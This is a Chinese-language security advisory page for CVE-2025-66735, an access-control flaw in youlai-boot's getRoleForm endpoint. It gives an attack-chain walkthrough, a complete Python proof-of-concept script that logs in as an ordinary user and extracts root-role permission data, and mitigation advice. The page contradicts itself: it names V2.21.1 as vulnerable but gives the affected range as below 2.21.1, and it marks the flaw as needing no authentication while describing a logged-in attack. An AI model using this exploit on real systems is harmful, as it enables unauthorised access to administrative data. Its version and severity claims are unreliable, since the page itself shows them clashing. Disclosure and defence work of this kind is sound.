IPBUF安全漏洞报告
English
CVE-2025-66735 CVSS 7.5 高危

CVE-2025-66735: youlai-boot SysRoleController getRoleForm权限绕过漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2025-66735
漏洞类型
不正确的访问控制
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
youlai-boot

相关标签

Incorrect Access Control权限绕过youlai-bootSysRoleControllerAPI安全权限提升CVE-2025-66735Java安全Spring Boot漏洞

漏洞概述

youlai-boot V2.21.1版本中存在严重的不正确访问控制(Incorrect Access Control)漏洞。该漏洞位于SysRoleController.java文件中的getRoleForm函数,由于该函数缺少必要的权限检查机制,导致任何认证用户都可以直接访问root角色的配置信息。攻击者无需具备root权限,仅需使用普通用户账号登录系统,即可通过调用该API端点获取敏感的角色表单数据。此漏洞可能造成严重的权限提升风险,攻击者可以获取系统的管理员角色配置信息,进而可能利用这些信息进行进一步的横向移动或权限提升攻击。由于CVSS评分达到7.5且Confidentiality Impact为High,该漏洞对系统机密性造成严重影响。

技术细节

youlai-boot是一个基于Spring Boot和Vue3的开源微服务框架。在V2.21.1版本中,SysRoleController控制器类中的getRoleForm方法存在访问控制缺陷。该方法在设计时未添加@PreAuthorize或类似的权限注解验证,导致任何已认证用户都可以访问该端点。攻击者只需要构造特定的HTTP GET请求,指定目标角色ID为root角色的标识符,即可绕过权限检查获取该角色的完整表单配置信息。这些信息可能包括角色权限列表、菜单配置、API访问策略等敏感数据。漏洞的根本原因在于后端开发过程中对API端点的权限验证不完整,开发者可能假设前端会进行权限控制,但这种设计忽略了API直接访问的风险。修复方案需要在getRoleForm方法上添加适当的权限注解,如@PreAuthorize("hasRole('ADMIN')")或使用基于方法的权限表达式,确保只有具备相应权限的用户才能访问特定角色的详细信息。

攻击链分析

STEP 1
信息收集
攻击者首先识别目标系统运行的是youlai-boot框架,并通过版本探测确认目标版本为V2.21.1
STEP 2
获取低权限账号
攻击者通过正常渠道注册或利用其他漏洞获取一个普通用户账号,该账号不具备管理员权限
STEP 3
认证并获取Token
使用普通用户凭证登录系统/api/auth/login端点,获取有效的JWT或Session Token
STEP 4
构造恶意请求
使用获取的Token构造GET请求到/api/system/role/form端点,设置roleId参数为1(root角色标识)
STEP 5
绕过权限检查
由于getRoleForm函数缺少@PreAuthorize权限注解,系统直接返回root角色的完整表单数据
STEP 6
提取敏感信息
攻击者解析响应,提取角色名称、权限列表、菜单ID等敏感配置信息
STEP 7
权限提升利用
利用获取的角色配置信息,可能进行进一步的横向移动或创建恶意管理员账户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66735 PoC - youlai-boot getRoleForm Unauthorized Access # Description: Exploits missing permission check in getRoleForm function # Target: youlai-boot V2.21.1 SysRoleController # Author: Security Researcher # Date: 2025-12-22 import requests import json TARGET_URL = "http://target-server:8080" LOGIN_URL = f"{TARGET_URL}/api/auth/login" ROLE_FORM_URL = f"{TARGET_URL}/api/system/role/form" def exploit_cve_2025_66735(): """ Exploit for CVE-2025-66735: youlai-boot Incorrect Access Control The getRoleForm endpoint does not verify if the user has permission to access root role information. """ print("[*] Starting CVE-2025-66735 Exploitation...") # Step 1: Login with regular user credentials (low privilege account) login_data = { "username": "regular_user", "password": "user_password" } try: session = requests.Session() login_response = session.post(LOGIN_URL, json=login_data, timeout=10) if login_response.status_code != 200: print("[-] Login failed!") return False token = login_response.json().get("data", {}).get("token") if not token: print("[-] Failed to obtain authentication token") return False print(f"[+] Logged in successfully with regular user") headers = {"Authorization": f"Bearer {token}"} # Step 2: Access root role form without proper authorization # The vulnerability allows any authenticated user to access this endpoint params = {"roleId": 1} # roleId=1 is typically the root/admin role exploit_response = session.get(ROLE_FORM_URL, headers=headers, params=params, timeout=10) if exploit_response.status_code == 200: role_data = exploit_response.json() print(f"[+] SUCCESS! Retrieved root role information:") print(json.dumps(role_data, indent=2)) # Extract sensitive information if "data" in role_data: sensitive_info = { "roleName": role_data["data"].get("roleName"), "permissions": role_data["data"].get("permissions"), "menuIds": role_data["data"].get("menuIds") } print(f"\n[+] Sensitive Data Extracted:") print(json.dumps(sensitive_info, indent=2)) return True else: print(f"[-] Exploitation failed with status code: {exploit_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": exploit_cve_2025_66735()

影响范围

youlai-boot < 2.21.1

防御指南

临时缓解措施
立即将youlai-boot升级到包含CVE-2025-66735修复补丁的最新版本。在等待升级期间,可以通过配置Web应用防火墙(WAF)规则限制对/api/system/role/form端点的访问,仅允许白名单IP访问。同时建议在API网关层添加额外的权限验证中间件,对所有敏感端点进行统一鉴权。临时禁用非管理员用户访问角色管理相关API,直到漏洞修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表